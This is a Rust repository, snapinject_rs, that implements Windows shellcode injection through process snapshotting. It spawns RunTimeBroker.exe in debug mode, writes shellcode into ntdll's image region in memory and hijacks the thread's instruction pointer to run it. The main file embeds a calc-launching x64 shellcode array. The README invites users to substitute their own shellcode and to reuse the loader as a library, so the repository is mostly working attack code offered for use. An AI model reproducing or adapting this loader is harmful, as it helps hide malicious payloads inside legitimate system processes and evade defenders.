├── Cargo.toml ├── .gitignore ├── LICENSE ├── README.md └── src ├── lib.rs ├── main.rs └── func.rs /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "snapinject_rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | NtCreateUserProcess_rs = { git = "https://github.com/Teach2Breach/NtCreateUserProcess_rs.git" } 8 | noldr = { git = "https://github.com/Teach2Breach/noldr.git", branch = "main" } 9 | Snapshotting_rs = { git = "https://github.com/Teach2Breach/Snapshotting_rs" } 10 | winapi = { version = "0.3.9", features = ["debugapi", "processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] } 11 | windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting", "Win32_System_Diagnostics_Debug", "Win32_System_Kernel"] } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | 13 | # MSVC Windows builds of rustc generate these, which store debugging information 14 | *.pdb 15 | 16 | # RustRover 17 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 18 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 19 | # and can be added to the global gitignore or merged into this file. For a more nuclear 20 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 21 | #.idea/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Kirk Trychel 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### snapinject_rs 2 | 3 | A process injection using process snapshotting based on https://gitlab.com/ORCA000/snaploader , in rust. 4 | 5 | This is a PoC version. It does not use dynamic resolution of API calls, etc... 6 | 7 | #### Usage 8 | 9 | This program can be compiled as an exe, or used as a library in other rust programs. 10 | 11 | To use as an exe, swap the SHELL_CODE in main.rs with your own shellcode and compile. 12 | 13 | To use as a library, add the following to your `Cargo.toml`: 14 | 15 | ```toml 16 | [dependencies] 17 | snapinject_rs = { git = "https://github.com/Teach2Breach/snapinject_rs" } 18 | ``` 19 | Call the inject_shellcode function with your process name and shellcode. 20 | 21 | ```rust 22 | snapinject_rs::inject_shellcode(&process_name, &SHELL_CODE).unwrap(); 23 | ``` 24 | 25 | #### Notes 26 | 27 | I left a bunch of commented out code in the main.rs that shows how to use some of the functions individually. I also left in a bunch of commented out print statements that may be useful for debugging and understanding the code. 28 | 29 | #### Credits 30 | 31 | - This project is a derivative work based on [snaploader](https://gitlab.com/ORCA000/snaploader), which is also licensed under the MIT License. 32 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub use winapi; 2 | use winapi::um::{processthreadsapi::{CreateProcessA, PROCESS_INFORMATION, STARTUPINFOA}, winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}}; 3 | 4 | mod func; 5 | 6 | pub fn inject_shellcode(process_name: &str, shellcode: &[u8]) -> Result<(), String> { 7 | // Format the process path 8 | let process_path = if !process_name.contains('\\') { 9 | format!("C:\\Windows\\System32\\{}", process_name) 10 | } else { 11 | process_name.to_string() 12 | }; 13 | 14 | // Create the startup info and process info structs 15 | let mut si: STARTUPINFOA = unsafe { std::mem::zeroed() }; 16 | let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() }; 17 | si.cb = std::mem::size_of::() as u32; 18 | 19 | // Create the process 20 | let success = unsafe { 21 | CreateProcessA( 22 | std::ptr::null(), 23 | process_path.as_ptr() as *mut i8, 24 | std::ptr::null_mut(), 25 | std::ptr::null_mut(), 26 | 1, 27 | NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS, 28 | std::ptr::null_mut(), 29 | std::ptr::null(), 30 | &mut si, 31 | &mut pi, 32 | ) 33 | }; 34 | 35 | if success == 0 { 36 | return Err(format!("Failed to create process: {}", unsafe { 37 | winapi::um::errhandlingapi::GetLastError() 38 | })); 39 | } 40 | 41 | let process_handle = pi.hProcess; 42 | let shellcode_size = shellcode.len(); 43 | 44 | let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size) 45 | .map_err(|e| format!("Failed to get injection address: {}", e))?; 46 | 47 | if !func::inject_and_rwx(process_handle, shellcode_location, shellcode) { 48 | return Err("Failed to inject shellcode".to_string()); 49 | } 50 | 51 | if !func::snap_thread_hijack( 52 | pi.dwProcessId, 53 | pi.hThread, 54 | pi.dwThreadId, 55 | process_handle, 56 | Some(shellcode_location), 57 | None, 58 | ) { 59 | return Err("Failed to hijack thread".to_string()); 60 | } 61 | 62 | Ok(()) 63 | } -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | //use noldr::{get_dll_address, get_teb}; 2 | //use winapi::um::processthreadsapi::CreateProcessA; 3 | //use winapi::um::processthreadsapi::PROCESS_INFORMATION; 4 | //use winapi::um::processthreadsapi::STARTUPINFOA; 5 | //use winapi::um::winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}; 6 | 7 | mod func; 8 | 9 | //shellcode to pop calc.exe 10 | pub const SHELL_CODE: [u8; 276] = [ 11 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 12 | 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 13 | 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 14 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 15 | 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 16 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 17 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 18 | 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 19 | 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 20 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 21 | 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 22 | 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 23 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 25 | 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 26 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 27 | 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 28 | 0x65, 0x78, 0x65, 0x00, 29 | ]; 30 | 31 | fn main() { 32 | /* 33 | //set the process name to RunTimeBroker.exe for testing 34 | let process_name = "RunTimeBroker.exe".to_string(); 35 | //format the process path 36 | let process_path = if !process_name.contains('\\') { 37 | format!("C:\\Windows\\System32\\{}", process_name) 38 | } else { 39 | process_name 40 | }; 41 | 42 | //create the startup info and process info structs 43 | let mut si: STARTUPINFOA = unsafe { std::mem::zeroed() }; 44 | let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() }; 45 | si.cb = std::mem::size_of::() as u32; 46 | 47 | //create the process 48 | let success = unsafe { 49 | CreateProcessA( 50 | std::ptr::null(), 51 | process_path.as_ptr() as *mut i8, 52 | std::ptr::null_mut(), 53 | std::ptr::null_mut(), 54 | 1, 55 | NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS, 56 | std::ptr::null_mut(), 57 | std::ptr::null(), 58 | &mut si, 59 | &mut pi, 60 | ) 61 | }; 62 | 63 | //check if the process was created successfully 64 | if success == 0 { 65 | eprintln!("Failed to create process: {}", unsafe { 66 | winapi::um::errhandlingapi::GetLastError() 67 | }); 68 | std::process::exit(1); 69 | } 70 | 71 | println!("Process created successfully"); 72 | println!("Process Handle: 0x{:x}", pi.hProcess as usize); 73 | println!("Thread Handle: 0x{:x}", pi.hThread as usize); 74 | println!("Process ID: {}", pi.dwProcessId); 75 | println!("Thread ID: {}", pi.dwThreadId); 76 | 77 | //print msg "Press enter to snapshot the process" 78 | println!("Press enter to snapshot the process"); 79 | let mut input = String::new(); 80 | std::io::stdin().read_line(&mut input).unwrap(); 81 | 82 | let process_handle = pi.hProcess; 83 | 84 | /* 85 | 86 | // Capture just the snapshot handle value 87 | let snapshot_handle = match func::capture_process_snapshot(process_handle) { 88 | Ok(handle) => handle, 89 | Err(e) => { 90 | eprintln!("Failed to capture snapshot: {}", e); 91 | return; 92 | } 93 | }; 94 | 95 | println!("Snapshot handle: 0x{:x}", &snapshot_handle as *const _ as usize); 96 | 97 | // Create a walk marker handle 98 | let mut walker = HPSSWALK::default(); 99 | let pss_success = unsafe { PssWalkMarkerCreate(None, &mut walker) }; 100 | 101 | if pss_success != ERROR_SUCCESS { 102 | eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", pss_success); 103 | } else { 104 | println!("PssWalkMarkerCreate succeeded"); 105 | } 106 | 107 | //print the walk marker handle 108 | println!("Walk Marker Handle: 0x{:?}", walker); 109 | */ 110 | 111 | let shellcode_size = SHELL_CODE.len(); 112 | let shellcode_location = 113 | func::get_hidden_injection_address(process_handle, shellcode_size).unwrap(); 114 | 115 | //println!("Shellcode location: 0x{:x}", shellcode_location as usize); 116 | 117 | // Add this code to inject the shellcode 118 | if !func::inject_and_rwx(process_handle, shellcode_location, &SHELL_CODE) { 119 | eprintln!("Failed to inject shellcode"); 120 | std::process::exit(1); 121 | } 122 | 123 | println!( 124 | "Shellcode injected successfully at: 0x{:x}", 125 | shellcode_location as usize 126 | ); 127 | 128 | // ... after shellcode injection ... 129 | 130 | println!("Press enter to hijack the thread"); 131 | let mut input = String::new(); 132 | std::io::stdin().read_line(&mut input).unwrap(); 133 | 134 | // Hijack the thread to execute the shellcode 135 | if !func::snap_thread_hijack( 136 | pi.dwProcessId, 137 | pi.hThread, 138 | pi.dwThreadId, 139 | process_handle, 140 | Some(shellcode_location), 141 | None, 142 | ){ 143 | eprintln!("Failed to hijack thread"); 144 | std::process::exit(1); 145 | } 146 | 147 | println!("Thread hijacked successfully"); 148 | */ 149 | 150 | //snapinject_rs::inject_calc_shellcode("RunTimeBroker.exe").unwrap(); 151 | 152 | let process_name = "RunTimeBroker.exe".to_string(); 153 | 154 | snapinject_rs::inject_shellcode(&process_name, &SHELL_CODE).unwrap(); 155 | } 156 | -------------------------------------------------------------------------------- /src/func.rs: -------------------------------------------------------------------------------- 1 | #![allow(unused_assignments)] 2 | #![allow(unused_variables)] 3 | #![allow(dead_code)] 4 | 5 | // Standard library imports 6 | use std::{ 7 | ffi::c_void as std_c_void, 8 | mem::zeroed, 9 | ptr::null_mut, 10 | }; 11 | 12 | // Third-party crates 13 | use Snapshotting_rs::ProcessSnapshot; 14 | 15 | // WinAPI imports 16 | use winapi::{ 17 | ctypes::c_void as winapi_c_void, 18 | shared::{ 19 | minwindef::{DWORD, FALSE}, 20 | winerror::ERROR_SUCCESS, 21 | }, 22 | um::{ 23 | debugapi::DebugActiveProcessStop, 24 | heapapi::{GetProcessHeap, HeapAlloc, HeapFree}, 25 | memoryapi::{ReadProcessMemory, VirtualProtectEx, WriteProcessMemory}, 26 | processthreadsapi::SetThreadContext, 27 | //winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}, 28 | winnt::{ 29 | CONTEXT, 30 | HANDLE, 31 | HEAP_ZERO_MEMORY, 32 | MEMORY_BASIC_INFORMATION, 33 | MEM_IMAGE, 34 | PAGE_EXECUTE_READ, 35 | PAGE_READWRITE, 36 | }, 37 | }, 38 | }; 39 | 40 | // Windows-rs imports 41 | use windows::Win32::System::Diagnostics::ProcessSnapshotting::{ 42 | PssCaptureSnapshot, 43 | PssWalkMarkerCreate, 44 | PssWalkMarkerFree, 45 | PssWalkSnapshot, 46 | HPSS, 47 | HPSSWALK, 48 | PSS_CAPTURE_THREADS, 49 | PSS_CAPTURE_THREAD_CONTEXT, 50 | PSS_THREAD_ENTRY, 51 | PSS_VA_SPACE_ENTRY, 52 | PSS_WALK_THREADS, 53 | PSS_WALK_VA_SPACE, 54 | }; 55 | 56 | pub fn get_helper( 57 | stack_offset: &mut usize, 58 | _base_address: *mut winapi_c_void, 59 | _shellcode_size: usize, 60 | stack: *mut winapi_c_void, 61 | size_of_image: usize, 62 | ) { 63 | *stack_offset = 0; 64 | let mut j: u32 = 0; 65 | 66 | while j < size_of_image as u32 { 67 | *stack_offset = *stack_offset + j as usize; 68 | let stack_val = unsafe { *((stack as *mut u8).add(j as usize) as *mut usize) }; 69 | j = j + 1; 70 | if stack_val == 0 { 71 | *stack_offset = *stack_offset + j as usize; 72 | break; 73 | } 74 | } 75 | } 76 | 77 | pub fn capture_process_snapshot(handle: HANDLE) -> Result { 78 | //println!("Capturing process..."); 79 | //let flags: PSS_CAPTURE_FLAGS = PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_VA_SPACE | PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION; 80 | 81 | match ProcessSnapshot::new(handle) { 82 | Ok(snap) => { 83 | //println!("Process snapshot completed successfully"); 84 | //println!("Snapshot handle: {:?}", snap); 85 | //println!("Snapshot will be automatically freed when it goes out of scope"); 86 | Ok(snap) 87 | } 88 | Err(e) => Err(format!("Error capturing process snapshot: {}", e)), 89 | } 90 | } 91 | 92 | pub fn get_hidden_injection_address( 93 | process_handle: HANDLE, 94 | shellcode_size: usize, 95 | ) -> Result<*mut winapi_c_void, String> { 96 | let snapshot = capture_process_snapshot(process_handle)?; 97 | let mut shellcode_location: *mut winapi_c_void = null_mut(); 98 | let mut walker = HPSSWALK::default(); 99 | let pss_success = unsafe { PssWalkMarkerCreate(None, &mut walker) }; 100 | 101 | if pss_success != ERROR_SUCCESS { 102 | eprintln!( 103 | "[!] PssWalkMarkerCreate failed: Win32 error {}", 104 | pss_success 105 | ); 106 | } else { 107 | //println!("PssWalkMarkerCreate succeeded"); 108 | } 109 | 110 | //println!("Walk Marker Handle: 0x{:?}", walker); 111 | 112 | let mut buffer = vec![0u8; std::mem::size_of::()]; 113 | let mut va_space_entry: PSS_VA_SPACE_ENTRY = unsafe { std::mem::zeroed() }; 114 | 115 | //println!("About to start walking snapshot..."); 116 | /*println!( 117 | "Snapshot handle raw: {:#x}", 118 | snapshot.snapshot_handle as usize 119 | );*/ 120 | //println!("Walker handle raw: {:#x}", walker.0 as usize); 121 | let mut pss_success = unsafe { 122 | let result = PssWalkSnapshot( 123 | HPSS(snapshot.snapshot_handle as *mut std_c_void), 124 | PSS_WALK_VA_SPACE, 125 | walker, 126 | Some(&mut buffer), 127 | ); 128 | //println!( 129 | // "Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)", 130 | // result 131 | //); 132 | 133 | // Copy buffer regardless of result 134 | std::ptr::copy_nonoverlapping( 135 | buffer.as_ptr(), 136 | &mut va_space_entry as *mut _ as *mut u8, 137 | std::mem::size_of::(), 138 | ); 139 | result 140 | }; 141 | 142 | let mut i = 0; 143 | while pss_success == ERROR_SUCCESS { 144 | //println!("\nExamining region {}:", i); 145 | i += 1; 146 | 147 | let mut mem_basic_info = unsafe { std::mem::zeroed::() }; 148 | mem_basic_info.BaseAddress = va_space_entry.BaseAddress as *mut winapi_c_void; 149 | mem_basic_info.AllocationBase = va_space_entry.AllocationBase as *mut winapi_c_void; 150 | mem_basic_info.AllocationProtect = va_space_entry.AllocationProtect; 151 | mem_basic_info.RegionSize = va_space_entry.RegionSize; 152 | mem_basic_info.State = va_space_entry.State; 153 | mem_basic_info.Protect = va_space_entry.Protect; 154 | mem_basic_info.Type = va_space_entry.Type; 155 | 156 | //println!("Region details:"); 157 | //println!(" Base Address: {:p}", mem_basic_info.BaseAddress); 158 | //println!(" Protection: {:#x}", mem_basic_info.Protect); 159 | //println!(" Type: {:#x}", va_space_entry.Type); 160 | //println!(" Size: {}", va_space_entry.SizeOfImage); 161 | 162 | if mem_basic_info.Protect == 0x20 { 163 | //println!("Found region with correct protection"); 164 | if va_space_entry.Type == MEM_IMAGE { 165 | //println!("Region is MEM_IMAGE"); 166 | if va_space_entry.SizeOfImage > 1000000 { 167 | //println!("[+] ntdll.dll captured"); 168 | 169 | let mut stack: *mut winapi_c_void = null_mut(); 170 | let mut stack_offset: usize = 0; 171 | 172 | let success = unsafe { 173 | ReadProcessMemory( 174 | process_handle, 175 | va_space_entry.ImageBase as *const winapi_c_void, 176 | stack, 177 | shellcode_size, 178 | null_mut(), 179 | ) 180 | }; 181 | 182 | let heap = unsafe { GetProcessHeap() }; 183 | stack = unsafe { 184 | HeapAlloc(heap, HEAP_ZERO_MEMORY, mem_basic_info.RegionSize as usize) 185 | }; 186 | 187 | if !stack.is_null() { 188 | get_helper( 189 | &mut stack_offset, 190 | mem_basic_info.BaseAddress, 191 | shellcode_size, 192 | stack, 193 | va_space_entry.SizeOfImage as usize, 194 | ); 195 | 196 | //println!("Stack offset calculated: {:#x}", stack_offset); 197 | 198 | shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize) 199 | - shellcode_size * 3) 200 | as *mut winapi_c_void; 201 | //println!("Shellcode location: {:p}", shellcode_location); 202 | 203 | unsafe { HeapFree(heap, 0, stack) }; 204 | unsafe { PssWalkMarkerFree(walker) }; 205 | //println!("[+] Original base address: {:p}", mem_basic_info.BaseAddress); 206 | //println!("[+] Stack offset: {:#x}", stack_offset); 207 | //println!("[+] Final shellcode location: {:p}", shellcode_location); 208 | return Ok(shellcode_location); 209 | } 210 | } else { 211 | //println!("Region size too small: {}", va_space_entry.SizeOfImage); 212 | } 213 | } else { 214 | //println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type); 215 | } 216 | } 217 | 218 | pss_success = unsafe { 219 | let result = PssWalkSnapshot( 220 | HPSS(snapshot.snapshot_handle as *mut std_c_void), 221 | PSS_WALK_VA_SPACE, 222 | walker, 223 | Some(&mut buffer), 224 | ); 225 | //println!("PssWalkSnapshot result: {}", result); 226 | 227 | // Copy buffer regardless of result 228 | std::ptr::copy_nonoverlapping( 229 | buffer.as_ptr(), 230 | &mut va_space_entry as *mut _ as *mut u8, 231 | std::mem::size_of::(), 232 | ); 233 | result 234 | }; 235 | } 236 | 237 | //println!("Finished walking snapshot. Examined {} regions", i); 238 | unsafe { PssWalkMarkerFree(walker) }; 239 | Err("No suitable injection location found".to_string()) 240 | } 241 | 242 | //replace with NTAPI calls instead of VirtualProtectEx and WriteProcessMemory 243 | //use NtWriteVirtualMemory and NtProtectVirtualMemory or something equivalent 244 | pub fn inject_and_rwx( 245 | process_handle: HANDLE, 246 | shellcode_location: *mut winapi_c_void, 247 | shellcode: &[u8], 248 | ) -> bool { 249 | let mut old_protect: DWORD = 0; 250 | let size = shellcode.len(); 251 | let mut bytes_written: usize = 0; 252 | 253 | // First VirtualProtectEx call to set PAGE_READWRITE 254 | let success = unsafe { 255 | VirtualProtectEx( 256 | process_handle, 257 | shellcode_location, 258 | size, 259 | PAGE_READWRITE, 260 | &mut old_protect, 261 | ) 262 | }; 263 | 264 | if success == 0 { 265 | eprintln!("[!] [1] VirtualProtectEx FAILED with Error: {}", unsafe { 266 | winapi::um::errhandlingapi::GetLastError() 267 | }); 268 | return false; 269 | } 270 | 271 | // WriteProcessMemory to inject shellcode 272 | let success = unsafe { 273 | WriteProcessMemory( 274 | process_handle, 275 | shellcode_location, 276 | shellcode.as_ptr() as *const winapi_c_void, 277 | size, 278 | &mut bytes_written, 279 | ) 280 | }; 281 | 282 | if success == 0 { 283 | eprintln!("[!] WriteProcessMemory FAILED with Error: {}", unsafe { 284 | winapi::um::errhandlingapi::GetLastError() 285 | }); 286 | return false; 287 | } 288 | 289 | // Second VirtualProtectEx call to set PAGE_EXECUTE_READ 290 | let success = unsafe { 291 | VirtualProtectEx( 292 | process_handle, 293 | shellcode_location, 294 | size, 295 | PAGE_EXECUTE_READ, 296 | &mut old_protect, 297 | ) 298 | }; 299 | 300 | if success == 0 { 301 | eprintln!("[!] [2] VirtualProtectEx FAILED with Error: {}", unsafe { 302 | winapi::um::errhandlingapi::GetLastError() 303 | }); 304 | return false; 305 | } 306 | 307 | true 308 | } 309 | 310 | pub fn snap_thread_hijack( 311 | pid: DWORD, 312 | thread_handle: HANDLE, 313 | thread_id: DWORD, 314 | target_process: *mut winapi::ctypes::c_void, 315 | rip: Option<*mut winapi_c_void>, 316 | rsp: Option<*mut winapi_c_void>, 317 | ) -> bool { 318 | unsafe { 319 | let mut snapshot_ctx: CONTEXT = zeroed(); 320 | let mut snapshot_handle = HPSS::default(); 321 | let mut walk_marker_handle = HPSSWALK::default(); 322 | let mut thread_entry: PSS_THREAD_ENTRY = zeroed(); 323 | let mut buffer = vec![0u8; std::mem::size_of::()]; 324 | 325 | // Capture snapshot 326 | let capture_flags = PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT; 327 | let win32_handle = windows::Win32::Foundation::HANDLE(target_process as _); 328 | let pss_result = PssCaptureSnapshot( 329 | win32_handle, 330 | capture_flags, 331 | 0x0010_0017, // CONTEXT_ALL 332 | &mut snapshot_handle, 333 | ); 334 | 335 | if pss_result != 0 { 336 | eprintln!("[!] PssCaptureSnapshot failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError()); 337 | return false; 338 | } 339 | //println!("[+] Snapshot captured successfully"); 340 | 341 | // Create walk marker 342 | let pss_result = PssWalkMarkerCreate(None, &mut walk_marker_handle); 343 | if pss_result != 0 { 344 | eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError()); 345 | return false; 346 | } 347 | //println!("[+] Walk marker created successfully"); 348 | 349 | // Walk through threads 350 | let mut pss_result = PssWalkSnapshot( 351 | snapshot_handle, 352 | PSS_WALK_THREADS, 353 | walk_marker_handle, 354 | Some(&mut buffer), 355 | ); 356 | 357 | while pss_result == 0 { 358 | // Copy buffer to thread_entry 359 | std::ptr::copy_nonoverlapping( 360 | buffer.as_ptr(), 361 | &mut thread_entry as *mut _ as *mut u8, 362 | std::mem::size_of::(), 363 | ); 364 | 365 | if thread_entry.ThreadId == thread_id { 366 | // Copy context record 367 | if !thread_entry.ContextRecord.is_null() { 368 | std::ptr::copy_nonoverlapping( 369 | thread_entry.ContextRecord as *const winapi::um::winnt::CONTEXT, 370 | &mut snapshot_ctx, 371 | 1, 372 | ); 373 | 374 | //println!("[+] Original thread entry context record: {:p}", thread_entry.ContextRecord); 375 | //println!("[+] Thread ID we're targeting: {}", thread_id); 376 | //println!("[+] Process creation flags included DEBUG_PROCESS: {}", 377 | // NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS); 378 | 379 | //println!("[+] Snapctx.Rip Before Setting: 0x{:x}", snapshot_ctx.Rip); 380 | 381 | if let Some(rip_ptr) = rip { 382 | // Create a u64 with the address value instead of dereferencing 383 | snapshot_ctx.Rip = rip_ptr as u64; 384 | //println!("[+] Setting RIP directly to address: 0x{:x}", snapshot_ctx.Rip); 385 | //println!("[+] Shellcode location (raw pointer): {:p}", rip_ptr); 386 | } 387 | if let Some(rsp_ptr) = rsp { 388 | snapshot_ctx.Rsp = rsp_ptr as u64; 389 | } 390 | 391 | //println!("[+] Snapctx.Rip After Setting: 0x{:x}", snapshot_ctx.Rip); 392 | 393 | //println!("[+] Setting thread context..."); 394 | 395 | if SetThreadContext(thread_handle, &snapshot_ctx) == FALSE { 396 | eprintln!("[!] SetThreadContext FAILED with Error: {}", winapi::um::errhandlingapi::GetLastError()); 397 | return false; 398 | } 399 | 400 | std::thread::sleep(std::time::Duration::from_secs(5)); 401 | 402 | //println!("[+] DebugActiveProcessStop..."); 403 | DebugActiveProcessStop(pid); 404 | //println!("[+] DONE"); 405 | break; 406 | } 407 | } 408 | 409 | pss_result = PssWalkSnapshot( 410 | snapshot_handle, 411 | PSS_WALK_THREADS, 412 | walk_marker_handle, 413 | Some(&mut buffer), 414 | ); 415 | } 416 | 417 | // Free walk marker 418 | let pss_result = PssWalkMarkerFree(walk_marker_handle); 419 | if pss_result != 0 { 420 | eprintln!("[!] PssWalkMarkerFree failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError()); 421 | return false; 422 | } 423 | 424 | true 425 | } 426 | } --------------------------------------------------------------------------------